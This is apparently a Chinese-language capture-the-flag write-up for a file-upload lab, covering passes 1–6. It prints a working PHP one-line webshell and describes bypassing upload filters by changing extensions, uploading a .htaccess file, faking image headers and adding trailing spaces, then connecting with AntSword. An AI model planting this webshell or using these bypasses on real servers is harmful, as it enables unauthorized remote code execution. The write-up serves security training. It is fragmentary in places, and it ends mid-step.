解题之前我们先来了解一下一句话木马和webshell
一句话木马:
例如:<?php @eval($_POST['a']);?>
其中 eval 就是执行命令的函数,$_POST['a'] 就是接收的数据。 eval函数把接收的数据当作PHP
代码来执行。这样我们就能够让插入了一句话木马的网站执行我们传递过去的任意PHP语句。
webshell:
PASS 1
任务:上传一个webs hell文件
解答:
1. 新建一个记事本 写下一句话木马 修改后缀为.php
2.选择1.php文件进行上传 发现无法上传
3.查看源码,发现不允许上传.php文件
4. 修改后缀名为.jpg
上传成功!!!!
PASS 2
任务 上传一个webs hell到服务器
解答:
上传文件1.php 显示文件类型不正确 查看源码
发现允许上传.jpg 和.png的格式
修改文件后缀名
burp进行抓包
修改后缀名为.php
蚁剑测试连接
pass 3
查看源码 发现不允许上传.asp .aspx .php .jsp后缀文件
方法:
百度抓包 修改后缀名为.php5
蚁剑连接
pass 4
查看源码
黑名单几乎拒绝了所有问题的后缀名,除了.htacess
.htacess文件是Apache服务器中的一个配置文件 她负责相关目录下的网页配置 通过htacess 文件 可以实现:网页301重定向 自定义404错误页面 改变文件扩展名 允许\阻止特定的用户或者目录的访问 禁止目录列表 配置默认文档等功能
写一个.htaccess文件
上传.htaccess文件 1.jpg文件
蚁剑测试连接
pass 5
第五关中的黑名单加入了.htaccess
尝试给脚本文件加上常见的文件头
常见文件头有:JPG:FF D8 FF E0 00 10 4A 46 49 46
GIF:47 49 46 38 39 61
PNG:89 50 4E 47
上传成功 但无法解析 继续修改
修改一句话木马为
蚁剑进行连接
pass 6
查看源码 发现.ini也加入了黑名单 我们可以通过在后缀名后加空格进行绕过
抓包 修改文件类型